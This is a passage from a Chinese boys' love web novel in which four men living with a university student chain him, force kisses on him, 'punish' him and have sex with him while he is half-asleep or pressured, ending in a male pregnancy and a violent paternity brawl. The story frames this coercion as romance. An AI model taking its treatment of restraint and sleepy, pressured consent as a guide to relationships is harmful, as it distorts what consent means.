陈悯之不敢置信地扯了扯脚踝上的链子:“你要把我锁起来?” 秦陌冷冷道:“只是为了防止你乱动而已。” 此话一出,陈悯之更害怕了。 为什么要防止他乱动?秦陌要对他做什么? 意识到自己落入罗网的小兔子,不再像之前那般张牙舞爪了,而是露出了示弱的一面,试图博得男人的心软:“可、可你总得告诉我,你为什么要这么做。” “为了拿到属于我的份额。”秦陌说。 陈悯之懵了:“什么份额?” 秦陌俯身,单膝跪在床上,撑在他身体上方,不答反问:“为什么答应和卫殊做?” 陈悯之脸上红了红:“他是我男朋友,我当然答应。” 秦陌道:“我也是你男朋友,怎么就连亲你一下都费劲?” 陈悯之瞪大眼睛:“你哪里是我男朋友了!” 秦陌:“哦?我不是你男朋友,那昨天晚上和你接吻的人是谁?” 陈悯之张口结舌。 他已经有一个男朋友了,要说秦陌也是他男朋友,显然不合理,但秦陌现在这话就是逼着他给一个身份,他又没那个脸皮直接说秦陌是小三,那样等于承认自己跟秦陌偷情。 见他不说话,秦陌一双眸子越来越冷,到最后几乎能结冰。 他原以为,陈悯之同意让他住进来,就是默许了他可以和卫殊享有平等的权利,就算不那么平等,至少也不要差得太多。 可凭什么卫殊就能吃全兔宴,他就只能啃个兔子腿儿,肉没啃到多少,还要被兔子蹬腿儿踢两下。 秦陌道:“宝宝做不到公平,总是厚此薄彼,所以有些东西,我只好自己来取。” 陈悯之愣了下,向来有些迟钝的脑子还没完全理解他话里的意思,男人凶狠的吻就已经落了下来。 对方叼着他的唇瓣又啃又咬,带着怒火一般,凶得恨不得把他吃下去。 要光是吻倒也还好,毕竟这种事陈悯之也不是第一次经历了,但当他发现秦陌还要有进一步动作时,后背的寒毛都离了起来,也终于意识到男人要取的东西是什么。 他拼命地把男人往外推:“不、不行!” 现在已经快十一点,最多一个小时,剩下几个人就会回来,且不说卫殊看到会怎么样,光是另外两个男人,陈悯之就已经无法应对。 到时候人人都想来吃上一口,他不得被啃得骨头都不剩。 可男人现在显然已经全然被嫉妒所操控,成了一条失去理智的疯狗,根本不听他的话,只是一个劲儿地吻他,大手撕扯着他身上的衣服。 意识到舍不着肉就拴不住狗的陈悯之,终于妥协了:“晚上!晚上给你亲!” 男人的动作停下了。 秦陌抬起一双猩红的眼睛:“你说什么?” 陈悯之惊魂未定地瞅着他,又有些难为情似的,很小声地说:“不要现在晚上,晚上你来我房间,我让你亲。” 秦陌眸光定定锁住他,像是在判断他话语的真假。 但他思索一阵,发现陈悯之的确没有骗人的时候,少年一直都是一根筋,单纯老实得很。 于是他道:“好。” 陈悯之松了口气。 他提起自己脚上的链子晃了晃:“那这个,现在可以给我解开了吧?” 秦陌却圈住他的脚踝,在唇边亲了一口:“很漂亮,再给我看一会儿。” 陈悯之:“ ” * 这一天好歹是有惊无险地度过了。 只是到了晚上,陈悯之的房门又不出意料地被敲响。 他打开门,做贼心虚地四下瞅了瞅,看见没有人,才把秦陌放进来。 一进来,男人就迫不及待地吻上了他。 陈悯之一边被人亲着,一边含含糊糊说:“洗澡了吗?” 秦陌:“洗过了。” 陈悯之被男人箍着腰,一路后退到了床上,他看着一颗颗解扣子的男人,还不忘提醒:“这件事,你不许和其他人说。” 秦陌:“我有什么理由去和他们说?” 陈悯之心想,那倒也是,男人的独占欲是刻在骨子里的,秦陌应该巴不得帮他保守这个秘密才对,免得像昨天一样,到最后变成了见者有份。 有了少年的配合,一切进行得很顺利,秦陌也是第一次知道,原来少年主动起来,和他之前的感觉是完全不一样的。 尤其是当少年用那双含着水的、乌润润的眸子看着你时,会让人生出一种他满心满眼都是你的错觉,仿佛他们原本就是一对爱侣。 秦陌低头吻少年的唇:“悯悯,我喜欢你。” 陈悯之意识模糊地答道:“嗯。” 秦陌又低头亲一口他:“你也喜欢我好不好?只喜欢我一个人。” 距离秦陌进来已经过去了快两小时,陈悯之困得眼皮都快睁不开了,他其实连男人说什么都没听清,只是困倦地打了个哈欠,迷糊又敷衍地应道:“嗯。” 幸福来得如此轻易,秦陌有些不敢相信:“真的?” 陈悯之已经闭上眼睛,睡着了。 可得到回应的男人没有在意,而是珍惜又爱怜地,吻上了少年的唇:“宝宝。” 陈悯之怎么也没想到,他已经睡了一觉醒来,秦陌还在他身上没下去。 并且,男人还锲而不舍地一直在他耳边叨叨着什么,嗡嗡嗡啪啪啪的,跟电蚊拍似的。 陈悯之摸出手机一看时间,凌晨三点。 他推了一把男人:“你怎么还没完?” 秦陌道:“你还没回答我的问题。” 陈悯之没睡够,现在又累又困,但男人仿佛一副得不到答案就不罢休的样子,他只好强撑起精神问:“什么问题?” 秦陌:“为什么我排第二?” 陈悯之一头雾水:“什么第二?” 秦陌:“校草评选,当时你说,我要是去参加,可以拿个第二名,第一名是顾明珏。” 陈悯之懵了几秒钟,随即无语道:“都多久了啊,你怎么还记得这个。” 都是刚开学时候的事情了,秦陌居然能记到现在。 秦陌:“你说过的话,我一向记得很清楚。” 陈悯之:“ ” 秦陌:“为什么顾明珏在我前面?在你心里,他比我好看?” 他知道陈悯之喜欢卫殊,要是卫殊排在他前面他还勉强能接受,可顾明珏凭什么,秦陌想不通。 虽然这个话题没有什么探讨的价值,但为了让自己今天能早点休息,陈悯之只得实话实说:“没有,只是因为当时我觉得你比较凶,顾明珏看上去更平易近人一点,所以如果评选校草,我觉得他的票数应该比你更多一点。” 秦陌蹙眉:“我凶?” 他承认他有时候是对陈悯之凶了一点,可那都是后来才发生的事情了,陈悯之说那话时才刚认识他和顾明珏没两天,他明明什么都没做,怎么就被判定为凶、落到顾明珏后面去了了? 少年还没回答,秦陌又问:“你喜欢温柔款的?” 陈悯之回答得断断续续:“唔、校草评选只是看脸,嗯啊,我当时也只是、单纯从你们两个的脸来评价而已,总之,你不必在意那么多。” 秦陌:“那如果综合评价呢?你更喜欢谁多一点?” 陈悯之却已经又摇摇晃晃地犯困了,意识恍惚中之听到了男人说什么喜欢,好像是对他告白的话,于是半闭着眼睛,迷迷糊糊地顺着男人的话答道:“嗯喜欢喜欢你” 男人那张天生冷感的脸上,终于浮现出一抹浅淡的笑。 他低头,轻轻啄了一下少年的鼻尖,低声说:“嗯,我也喜欢你。” 而少年早已沉入梦乡,听不见他说什么了。 * 安抚好了秦陌这条疯狗,接下来的几天过得风平浪静。 几个男人按照排班表工作,不仅负责做饭,也轮流包揽了家里的其他家务,包括给小猫铲屎。 而且该说不说,这几个人的厨艺真是挑不出毛病,就跟统一去新东方进修了似的,陈悯之今天吃川菜,明天吃粤菜,后天吃法餐,每天都有不重样的好吃的,还不用做家务,每天就看着这四个男人像四个男保姆似的忙来忙去,竟然也生出一种“这样的日子好像也还不错”的感觉。 如果忽视掉他偶尔会被男人拖进角落啃两口以外。 但他现在已经学聪明了,也渐渐摸到了一些让这些疯狗听话的方法,只需要主动对男人亲上几口,再说几句违心但好听的话,就能让这些坏狗乖乖的不发疯了。 反正只是亲几下而已,又不做别的什么,还算能接受。唯一光靠亲解决不了的两条,也只能背着其他几条,悄悄地付出一点其他的代价。 就在陈悯之以为,这样平静安稳的日子会一直持续下去的时候,他在一天晚上回卧室时,忽然被藏在门后的男人一把捂住了嘴巴。 顾明珏把他圈在了怀里,附在他耳边,低声道:“宝宝不是最讨厌秦陌了吗,为什么昨晚让他进你房间了?” 第69章 第 69 章 “不是说只喜欢我一个吗…… 69 陈悯之心头猛地一跳。 顾明珏不会是知道了什么吧? 他小心翼翼地去瞄男人的神情, 可男人就像只笑面狐狸,将心思掩藏得滴水不漏,按照他那点儿浅薄的道行, 什么也看不出来。 虽然摸不准顾明珏的心思, 但陈悯之心里清楚,秦陌是不可能主动把这件事告诉别人的, 于是他心里又升起一抹侥幸——万一顾明珏是诈他呢,他可不能自乱阵脚。 在四条大型猛兽之间游走的小兔子,已经熟练地掌握了生存本能——他不问,你不说,他一问,你惊讶。 于是陈悯之小声说:“我们盖着被子纯聊天呢,真的。” 空气安静了几秒钟。 顾明珏忽然笑了一下。 “悯之, 我看起来很像傻子吗?” 陈悯之作惊讶状:“怎么会呢?你是我见过的最聪明的人了。” 顾明珏:“哦?是吗?” 陈悯之拼命点头:“当然。” 你是我见过的最奸诈的老狐狸, 他在心里说。 顾明珏简直要笑出声来。 要说这只小兔子笨呢,却又偏偏在不知什么时候学会了撒谎,说些好听的话来哄人, 以此来换取自身的安全。 可偏偏, 小兔子的谎言肉眼可见地拙劣, 与他而言简直是不打自招,只让人觉得像从前一样笨得可爱。 不对, 比从前还要再可爱一点。 让人情不自禁地想要吻他。 顾明珏脑海中出现这一想法的时候, 身体已经先一步做出了实践, 他扣住少年的后颈, 像是捏住一只小动物毛茸茸的脑袋一般,将少年的嘴唇推了上来,衔住了。 正准备继续装傻充愣的陈悯之懵了一秒, 下意识地想要挣扎,却又忽然想到什么似的,动作弱了下来,还很乖地伸出软嫩的舌头,像小兔子舔水一样回应男人的亲吻。 顾明珏的唇角勾了勾。 他怎么会不知道陈悯之在想什么,即使经历了这么多事,少年不再像从前那样单纯得宛如一张白纸,但却依旧却不会掩藏自己的心思。 放在平时,不连哄带骗地威逼利诱一下,陈悯之是万万不会如此配合的,被亲的时候躲都来不及,今天却会主动把舌头伸出来给人吃,就差把心虚两个字写脸上了。 偏偏他还以为自己装得很好,演得十分投入,纤长的眼睫闭着,甚至主动伸出手去勾男人的脖子,乖巧得不行。 顾明珏感觉心都快要被可爱得化掉。 他当然不会在这时候去拆穿小兔子的谎言,毕竟,主动的小兔子尝起来太过甘美,他没有拒绝的道理。 于是他顺势扶住少年的腰,加深了这个吻。 不同于卫殊那种实干大于技巧的吻法,也不同于秦陌那样总是带有嫉妒与不满足的啃咬,更不似陆承轩那样像发.情的狗一样的乱舔,顾明珏的吻十分富有技巧,可以说是这几个里吻技最好的。 每次被顾明珏亲吻,陈悯之都像是被人抱起来放在了温水里,温暖又舒服,不会感受到一点儿疼痛,男人的吻有一种能让人放松下来的魔力,像是被春风拂过的人,不会注意到这阵风是什么样子,却在无形中被春风渗透了身体的每一个毛孔。 但这种吻也有弊端,就像跑热水澡,刚开始觉得舒服,久了却觉得头晕眼花,喘不上气,而这种转变常常是在无知无觉中发生的。 是以,当陈悯之发现男人的手不知从何时探入他的衣服下摆,开始往里钻的时候,他整个人已经被亲得脱了力,一双眸子乌濛濛的,懵懵懂懂的样子,连挣扎都忘了。 直到身体陡然间传来异样,同一时间,耳边响起男人带有凉意的声音:“宝宝,这里怎么是肿的?” 如同兜头一盆冷水浇下,把陈悯之霎时泼清醒了。 望着顾明珏那双幽暗的眼睛,少年仿佛一只突然间嗅到危险的小兔子,蹦起来拔腿就要跑,却被男人勾着腰拖了回来。 男人宽大手掌牢牢圈住他的腰,像是摁住小兔子柔软又脆弱的肚子,声音不紧不慢,却带了少见的一丝冷意:“宝宝还没回答我的问题,怎么就要跑呢?” 陈悯之慌得眼睫直打颤,眼见逃不掉,又害怕被揭开羊皮的狼吃掉,只能本能张嘴就来:“可能是最近吃得太辣,上、上火了。” 顾明珏笑了一下:“是吗?可是我明明记得,这一周桌上都没什么辣菜呢。” 少年嗜甜,并不怎么爱吃辣,故而四个男人做的菜大部分都偏清淡,只是偶尔才做一下微辣的菜式给少年换换口味。 陈悯之结结巴巴:“还、还是有的,我记得陆承轩就做了一盘麻辣兔丁呢” 只不过他因为前一晚刚挨了炒,第二天就没怎么敢吃辣。 顾明珏:“那盘兔丁你只夹了一筷子,吃的还是里面的莴笋。” 陈悯之:“ ” 如果说谎是一门课程,那么陈悯之在这堂课的结业考试中基本能算是不及格。 至于为什么是基本,是因为他在被天敌捕食的过程中激发了这种本能,知道了偶尔说假话能让自己逃避被吃掉的命运,却不知如何去运用。 顾明珏将少年慌乱的神色看在眼里,可非但不安慰,反倒更恶劣地捏住了少年的下巴:“我倒觉得,宝宝像是背着老公偷吃了什么不干净的东西,才会上火呢。” “偷吃”这两个字咬地尤其重,生怕人听不出背后的讽刺似的。 至于不干净的东西具体是谁,顾明珏倒是不太在意,反正在他眼里,这房子里除了他,剩下三个都是不干净的东西。 本就不太聪明的少年,在这种情形下显得尤为笨嘴拙舌,连个像样的谎都扯不出来,只会慌张地一个劲儿重复:“没有,没有吃不干净的东西” 顾明珏眼眸微眯,指腹将少年的唇瓣压得凹陷下去:“宝宝嘴馋,爱偷吃,老公可以理解,所以不怪宝宝,但是,宝宝好像把老公之前说的话都忘光了。” 陈悯之抬起一双乌润的圆眼睛,慌乱又茫然地看着他。 于是顾明珏知道,少年这是真忘光了。 他近乎无奈地叹了口气,再次给听了就忘的小兔子补课: “第一,不可以从老公身边逃跑。” “第二,不可以骗老公。” “这次宝宝遵守了第一条,违反了第二条,所以,老公要惩罚宝宝。” 少年最终被人拦腰抱进了浴室里,外面留下的,只有挣扎间掉仓皇落下来的两只小兔子拖鞋。 * 之后的两天,陈悯之都有些蔫头耷脑的,跟没睡醒似的提不起精神。与之相比,顾明珏则显得春风满面,仿佛动物界里刚刚渡过发.情期的雄性。 不仅如此,还没事儿就到陈悯之跟前献殷勤,又是送礼物又是说好话,又是揉腰又是捏腿儿的,就是后者不知爽的是陈悯之还是他自己。 俗话说无事献殷勤,非奸即盗,而在秦陌看来,这二者皆有。 就顾明珏那春风得意的贱人样,他哪儿还能不知道发生了什么,也就陈悯之这个笨蛋,自以为自己藏得很好。 于是在和上周同样的时间,秦陌趁着剩下三个人都出去的时候,故技重施地把少年绑进了自己屋里。 银色的链子再一次被套在了少年的脚踝上,秦陌冷着张脸,收拢五指把在床上爬远的少年拖回来,阴森森道:“不是说只喜欢我一个吗?” 陈悯之张嘴就想反驳他什么时候说过了,但一看男人那张怨鬼似的脸,还是讪讪闭上嘴。 秦陌这人虽然挺狗的,但一般不会骗他,那多半是他真的说过这句话了。 可陈悯之绞尽脑汁回忆,却一点儿印象也没有,他想了想,多半是秦陌趁着他神志不清的时候哄着他说的话,那时候他都是半昏迷状态了,说的话不能作数。 但已经吃过教训的少年,已经知道在这时候是最不能惹男人生气的,嫉妒心发作的雄性十分危险,一不小心就会让他屁股不保。 于是他只能嗫喏着,顺着男人的话说,像是在给某种大型犬捋毛:“唔我跟他们都是逢场作戏,跟你才是真的。” 秦陌黑沉沉的眼睛盯了他半晌,冷冷吐出两个字:“骗子。” 陈悯之红了眼睛。 秦陌说他是骗子,顾明珏也说他是骗子,可一开始明明是他们骗他,他们一个个伪装成温柔友好的样子来跟他做朋友,结果最终目的都是想要炒他的屁股,如今他迫不得已学会了说假话,也不过是为了保护自己罢了。 陈悯之越想越气,乌黑眼睛瞪得圆圆的,像某种终于被逼急了小动物,抬手“啪”地给了秦陌一巴掌。 秦陌怔了一秒,自从上次的事件过后,陈悯之已经很久没打过他了,突然间被奖励,还有点不习惯。 但因为他那张脸常年冰冻,故而就算心底窃喜,面上也看不出来,只故作自然地问:“怎么?我说错了吗?” 陈悯之瞪着他:“说假话你不爱听,说真话你又不高兴,那你以后干脆不要和我说话好了。” 一听这话,上一秒还在高兴的男人立马变了脸色:“我没说我不高兴。” 顿了顿,又补充:“也没说我不爱听。” 刚才虽然明知陈悯之说的是假话,但他心底还是无法抑制地升起一种愉悦,就像明知少年偶尔赏赐的甜头是毒药,也忍不住要去尝一般。 陈悯之生气道:“那你冲我发什么火!” 秦陌噎了一下,他自觉刚才说话的语气并没有多重,只是冷静地叙述事实而已,但现在少年显然已经被惹生气了,他不能再反驳,只能顺着小兔子的耳朵摸。 于是男人低头道了歉:“对不起,你生气的话,可以打我。” “打多少下都可以。” 慢半拍的陈悯之此刻已经反应过来,打他只会让他越打越爽,遂一脚踢开男人来摸他脚踝的手:“你做梦!” 可男人像是甩不掉的狗皮膏药一样,又贴上来亲他的脸:“那你给我亲一下,嗯?” 陈悯之扭着脸躲避:“不要!不准碰我!” 秦陌低哄着:“今天不碰你,只是让你舒服,好不好?” “不好、不好!”陈悯之抗拒道。 但男人已经把他高高托起来靠在墙上,低下头去。 陈悯之哭着咬住了自己的手指。 * 经过了前两件事,陈悯之在第三天晚上看到从床底下钻出来的陆承轩时,整个人已经放弃挣扎了。 反正最终都只有喂饱了这些狗才能把他们赶走,前面再怎么挣扎也只是白费力气。 陈悯之把黏黏糊糊就扑上来的金毛犬推开,没有表情地说:“去洗澡。” 陆承轩冲他眨了眨眼睛:“我来之前已经洗干净了呢,哥哥。” 陈悯之:“你刚钻了床底,全是灰。” 陆承轩:“哥哥的床底我每天都有打扫哦,比秦陌卧室的地板还干净呢,反正以后经常都要钻,我就提前清洁好啦。” 陈悯之:“ ” 他仔细瞧了陆承轩身上一眼,确实一点儿灰也没有。 但心里到底还是有点膈应,于是还是推陆承轩:“不行,先洗澡,不然你现在就出去。” 原本已经馋得快流口水的男人一听立马变脸,换上一副乖狗狗的笑容:“我现在就去洗,哥哥等我哦。” “嗯。” 陈悯之嘴上答应着,却在男人进浴室后立马倒头睡觉。 明天他还有早八,要是不趁现在多睡会,明天上课又要打瞌睡,打了瞌睡上课没学好下课又得找秦陌补课,然后被男人强行收取一些补课费,得不偿失。 至于洗澡,等会完事了陆承轩会帮他洗的。 大概是看他真累着了,陆承轩洗完澡出来后也没叫醒他,而是就地开始实操。中途陈悯之醒过来几次,被黏糊糊的狗舌头舔上几口,又睡过去。 半梦半醒间,他感觉有人咬着他的耳朵问:“哥哥,谁伺候得你最舒服?” 陈悯之从喉咙里发出一道虚弱的回答:“你。” 于是那人满意了,又低下头像小狗表达爱意一般,又轻又快地舔他的嘴唇:“最喜欢哥哥了。” 陆承轩一边舔他,一边殷切切问:“我永远都做哥哥的小狗,好不好?” 陈悯之正在梦里给一群流浪狗扔包子,闻言意识模糊地答了句“好”。 至于答应的是什么,他也不知道。 * 同一个屋檐下发生的事,自然瞒不过卫殊。 只是,卫殊虽然对发生在自家老婆身上的事心知肚明,却并不像其他三位那样胡搅蛮缠。 毕竟在陈悯之答应让那三条住进来的时候,他就知道这样的事早晚会发生。而现在,少年也几乎是已经默许了这些事。 于是卫殊很体贴地,没有再给少年增添一些额外的麻烦。 他只是在一天晚上,抱着怀里的少年说:“老婆,我要加餐。” 第70章 第 70 章 “悯悯,孩子是我的,对…… 70 生活过得太充实的后果就是, 陈悯之每天都被喂得饱饱的,小肚子圆圆的鼓鼓的,几乎没有瘪下去的时候, 整个肚子仿佛都圆润了一圈儿。 晚上睡觉的时候, 陈悯之摸着自己肚子上多出来的肉,有些担心地问卫殊:“我最近是不是长胖了?” 卫殊握住他肚子上的那只手, 放到嘴边亲了一下:“没有,公主一点儿也不胖。” “是吗?”陈悯之又低头瞅了一眼自己的肚子,“可是我真的觉得我的肚子变胖了一点” 除了肚子,还有肚子上面更奇怪的地方,好像也比以前多了一点点肉,直接后果就是导致几条狗平日里更喜欢吃那里了。 卫殊闻言,撩开他的睡衣, 对着少年的小肚子仔细端详起来。 只见少年向来平坦的腹部, 不知何时变得比之前圆润了一些,顶部鼓起微微的弧度,像是柔软的矮丘。 卫殊看着看着, 就忘了自己原本是要干什么, 鬼使神差地低下头, 把脸埋进那矮丘里,开始舔.吻起来。 陈悯之瞪大眼睛, “啪”地给了男人一巴掌, 生气地叫道:“卫殊!” 面对卫殊, 陈悯之总是比其他几个人要更宽容一些的, 但再宽容也有限度,他今天已经由着卫殊胡闹了一晚上,甚至还穿了在别人面前都不愿意穿的兔尾巴, 现在已经是该休息的时候了,卫殊竟然还这么闹他。 卫殊挨了公主的一巴掌,才从那种狗看到肉就扑上去的本能状态中清醒过来,讷讷道:“好、好像是比之前多了一点肉。” 陈悯之闻言,有些难过地说:“你看,我就是长胖了。” 卫殊严肃道:“胡说,你这哪儿能算胖?只能叫健康,你从前就是太瘦了,身上除了屁股和腿其他地方一点肉都没有。” 卫殊说着,又低下头,隔着睡衣在少年的肚子上亲了一下:“我到希望这里能再胖一点,好给我怀宝宝。” 陈悯之一张脸顿时红得像桃子,羞恼道:“我哪儿能怀什么宝宝!” 他觉得卫殊真是越来越坏了,不仅学会了跟其他狗一样投机取巧从他身上捞好处,还学会了说一些很坏的话逗弄他,一点儿也不像最开始憨实又听话的大狗狗。 果然姥姥说的对,男人真是没一个好东西。 卫殊见少年是真的恼了,忙低头道歉:“对不起,我错了,我不该说公主能怀宝宝,公主原谅我好不好?” “够、够了!不要再说了!”陈悯之现在一听到宝宝两个字就应激,尤其是在他肚子本就长胖了的情况下,有一瞬间,他觉得自己的肚子还真像是那种刚刚怀胎几个月的样子,越想越羞。 说起来还不都怪这些男人,每天都把他的肚子弄得很鼓,尤其是卫殊,总是要加餐! 想到这里,陈悯之生气地说:“你以后,不许再一天吃三顿了!” 卫殊一听急了,忙抓着少年的手,语无伦次地道歉:“我错了,我真的错了,我不是故意的悯悯,我只是常常想着,要是能和你有一个孩子就好了,没有别的意思。” 但无论他再怎么道歉,因为自己长胖了而变得情绪敏感的公主,都只是背过身去,再也不理他了。 卫殊叹了口气,不再说话,默默地把背对着他的少年搂入怀里。 他觉得,陈悯之似乎比从前变得娇气了一点,偶尔会不讲道理,也会耍小脾气了。 但他知道,这是爱在少年身上留下的痕迹。 他会将这种痕迹永远守护下去。 * 陈悯之做了一个梦,梦到自己怀孕了,可生出来的却不是人,而是四只毛茸茸的小兔子,里面有灰的有白有黄的,还有一只黑黑的,像从煤炭里滚了一圈捞出来的。 他在梦里虽然惊异又害怕,但再怎么说这也是他自己生的,他还是很小心地把小兔子们都照料了起来。 没多久,四只小兔子都会叫他妈妈了,陈悯之很开心。 但就在这时,他家里忽然闯进来了四条狗,一条叼一只,把他的宝宝全都叼走了。 陈悯之又气又急,可那些狗跑得太快,他只能眼睁睁地看着自己的孩子消失在视野中,急得直哭。 “悯悯?悯悯?”一道低沉的声音将他从梦境中唤醒。 睁开眼,一张黑黢黢的脸出现在视野里,面带担忧地看着他:“怎么哭了?哪里不舒服?” 卫殊一边问,一边伸手去探少年的额头。 陈悯之想也不想,啪地一巴掌扇了过去。 他哭着说:“都怪你!” 梦里面就是这条黑狗第一个来抢,把他的小黑兔叼走了,然后剩下三条一个接一个地来,一条白色狼狗叼走了那只小白兔,金毛犬叼走了那只小黄兔,还有一只不知道什么品种的大灰狗,叼走了他最后一只小灰兔,只留下他在原地哇哇大哭。 卫殊愣了一下,他是听到少年的哭声从厨房跑过来的,以为陈悯之是做噩梦了,可怎么都没想到刚把少年叫醒自己就挨了一巴掌。 虽然不知道原因,但看少年哭得厉害的模样,卫殊还是将少年抱入怀里,轻轻拍着背安抚着:“好好好,都怪我,是我的错,公主不哭了,嗯?” 陈悯之被人抱着捋毛,好一会儿才给捋顺了,但还是余怒未消,把男人推下床,一路推到卧室门口,凶巴巴地说:“你今天不许进我的房间!” 卫殊:“可你还没吃早饭” 往往折腾一晚上后,少年第二天一早都很累,都是半梦半醒的时候让他抱着喂饭的。 陈悯之“砰”的一声关上门:“放桌上一会儿我自己吃!” 卫殊:“好吧,那你一会儿要记得吃,吃完碗放桌上,我下班回来收拾。” 没得到回答,卫殊笑了笑,摇摇头走了。 陈悯之站在浴室里的全身镜前,把身上衣服都脱下来,对着镜子看。 这么一看他才发现很奇怪的一点,一般来说长胖和减肥一样,都是全身的增减,不可能只有一个地方变化而其他地方不变,可他发现自己还真是只有肚子和胸胖了一点,胳膊和腿都还是很瘦,脸上也没长肉。 他又跑去体重秤上称,确实长了两斤。 一个诡异的念头在他脑海里闪过,他该不会是真怀孕了吧? 这个想法因为太过离谱,刚出现就被陈悯之赶出了脑海,他是男人,男人怎么可能怀孕呢? 都是卫殊昨天在哪里说些坏话逗他,还有其他几条狗,平也时经常在他耳边说什么多弄弄就怀上了之类的话,他脑子里才会出现这种荒唐的念头。 说服完自己,陈悯之才开始放下心地洗漱吃饭。 但吃了两口,他突然觉得胃里有点恶心,无法自控地干呕了一下。 陈悯之愣了一下。 虽然他不是女人,但就算光凭电视剧里学到的那点常识,他也知道干呕反胃是怀孕的反应之一。 想到这里,陈悯之鬼使神差地拿出手机搜索:【早晨吃饭干呕想吐是什么原因?】 所幸搜索结果显示,导致吃饭干呕的有很多种原因,比如胃炎、慢性咽炎、胆囊炎、胃肠功能紊乱等,并不一定就是怀孕,更何况他还是个男的。 到这里,陈悯之终于放下了心,摇摇头决定不再去想这些事。 日子不紧不慢地过着,陈悯之有时觉得自己有点像古代的皇帝,每晚上都要翻不同的牌子,只不过皇帝是自己翻牌子,他却是牌子长了腿儿跑来爬他的床。 但就这么过了一周后,陈悯之的精神更加紧绷了。 因为,他不止第一天干呕,在后面几天,他吃饭时也出现了干呕的症状,其他几人问怎么了,都被陈悯之用没胃口搪塞过去。 不仅如此,他还变得疲倦嗜睡,情绪波动大,容易发脾气打人,最重要的是他的体重增加了,肚子也变得比之前更大了,甚至偶尔,他还会觉得肚子有一点胀痛。 而这些症状,和初期妊娠的反应全部温和,陈悯之甚至上网搜索了一下,发现国外还真有男人怀孕的先例。 意识到事情的严重性,陈悯之趁着其他几人都不在家,偷偷去超市买了根验孕棒。 一测,傻眼了。 验孕棒上明晃晃的两条杠,如同晴空劈下的两道闪电,将陈悯之劈得外焦里嫩。 他怎么也没想到,这么小概率的事件居然也能发生在他身上。 会是谁的呢? 陈悯之有些愧疚地想着,他真不是一个好爹爹,连自己孩子的亲生父亲是谁都不知道。 而这件事他又该怎么和那几个男人说?是该告诉他们,还是该干脆背着他们跑路?自己偷偷把孩子生下来?毕竟要是被那几条狗知道,他们像梦里一样来抢他的宝宝就不好了。 在马桶上呆愣愣地坐了快半小时,陈悯之才如梦初醒似的,把验孕棒扔进了垃圾桶里,走之前,还很心虚地扯了好几张纸揉成团,扔进去盖住,掩盖罪证似的。 十分钟后,陈悯之慌慌张张地出了门。 * 陈悯之回来时已是傍晚,屋内亮起了灯。 四个身材高大的男人围坐在客厅里,中间的茶几上,摆放着那根被他丢进垃圾桶里的验孕棒。 几人脸上的神情或喜悦,或凝重,或阴沉,或警惕,但相同的是,每个人身上都充斥着对其余雄性充满敌意的排斥,这段时间刚刚消弭下去的战火,仿佛顷刻间重新在四人之间燃烧起来。 白得有些刺眼的灯光下,四个男人看向他,各个眼眸通红,异口同声问:“悯悯,孩子是我的,对不对?” 【全文完结】 第71章 第 71 章 “我已经带走了…… 71 陈悯之愣了一下, 才反应过来验孕棒是怎么被人发现的。 多半是陆承轩或者秦陌又在他房间里偷偷安装了针孔摄像头,就算不是,按照他身边几个人男人狗鼻子一样的敏锐程度, 肯定也早就发现了他这段时间的不对劲, 趁着他不在的时候偷偷跑去翻他房间的垃圾桶呢。 但陈悯之现在已经没心思去管这些,他只是垂着眼睫说:“不是。” 几个男人没说话。 他们都在想陈悯之这句话是对谁说的。 半晌, 秦陌率先开口:“那是谁的?” 男人猩红视线盯过来,一张脸阴沉得可怕,像是要把他吃掉一样。 陈悯之这时候原本心情就不好,看到他这张鬼一样难看的狗脸心情就更遭了,一点也不想理他地别过头去:“反正不是你的。” 秦陌的脸黑得像古井。 其他三个人脸上却是同时松了一口气的模样。 卫殊沉思片刻,说:“是我的。” 陆承轩阴阳怪气地笑了一声:“哎呀,还没到晚上呢怎么就有人开始做梦啊。” 顾明珏冷冷乜过去一眼:“依据呢?” 卫殊斩钉截铁:“悯悯的肚子已经显怀, 至少有两三个月大了, 那时候还没你们的事儿,所以只能是我的。” 空气再度陷入沉默。 “砰——” 秦陌一拳砸在卫殊鼻梁上,恨意几乎冲破眼眶:“贱人!” 卫殊沉浸在当爹的喜悦中, 没料到他突然暴起, 结结实实挨了这一拳, 脸上顿时见了血,他怒视秦陌, 毫不犹豫地朝秦陌脸上一拳回敬。 他也不说话, 就这么闷着脑袋打, 好像把这些日子里因为被迫和人分享老婆儿憋在心头的郁气全都发泄了出来。 秦陌虽然打架技术上差了一点儿, 但因为那张淬了毒一般的嘴,在气势上倒是能与卫殊平分秋色,只听他冷笑一声:“你算什么东西?我才是他第一个男人, 我操他的时候,你还在他通讯录的黑名单里。” “他一开始明明拒绝你了,是你不要脸,死缠烂打才让他妥协,你有什么资格在这里耀武扬威?” 卫殊一拳砸在那张喋喋不休的臭嘴上,额上青筋暴起:“闭嘴!” 陈悯之一开始对他的拒绝,一直是卫殊心中的一根刺,他深知得到小公主的喜爱,并非自身有多么好,而是上天怜悯,让他比别人多了一点运气。 卫殊常常会想,如果当时陪在陈悯之身边的不是他,而是别人,小公主的心那样软,假以时日,说不定也会答应。 他嘴上功夫不如秦陌,便只能用拳头说话,每一拳都下了死手,没一会儿就把拳头打破了。当然,秦陌的脸破得更厉害。 这厢二人打得不可开交,那厢陆承轩忽然笑眯眯地说:“按照这个日子算,我也有份呢。” 另外三双目光同时看向他。 陆承轩面露羞涩:“两个月前正好是我和哥哥的第一次呢,我弄了好多进去,而且都没有弄出来,按照推算,我的东西至少在哥哥身体里留了十八个小时,这么说来,应该是我的几率最大啦。” 卫殊脸色一变。 他知道陆承轩没有说谎,当时他急着把陈悯之带走,并没有给少年做清理,直接把人一路带去机场,然后飞去了外省的,直到入住酒店才给陈悯之洗了澡,这之间至少经过了十个小时,再算上陆承轩一开始潜入房间偷吃他老婆的时间,确实是十八个小时左右没错。 而他们其他的任何人,从来都没有让东西留在少年体内这么久过,毕竟,这么做是有发烧风险的。 秦陌顶着一张青紫色的脸,理着袖口从地上站起身:“谢谢你的提醒,照这样算,我也该占三分之一的几率。” “因为在你之后,我跟他做了一整天。” 就在卫殊把陈悯之带去旅游后不久,他把少年从酒店偷回了家里,那是他时隔几月第二次尝到少年的滋味,那天,佣人把床单换了六遍。 刚才全顾着和卫殊打了,竟然没想起来原来自己也是有份的。 陆承轩和卫殊两人的脸色不太好看了。 当然,最不好看的还是要属顾明珏。 按照两三个月的时间来算,孩子怎么也不可能是他的,他和陈悯之的第一次远在这个时间之前,后面几次则是最近,远在这个时间之后。 他成了唯一被排除在外的人。 “哗啦——” 是红酒瓶在脑袋上破裂开的声音。 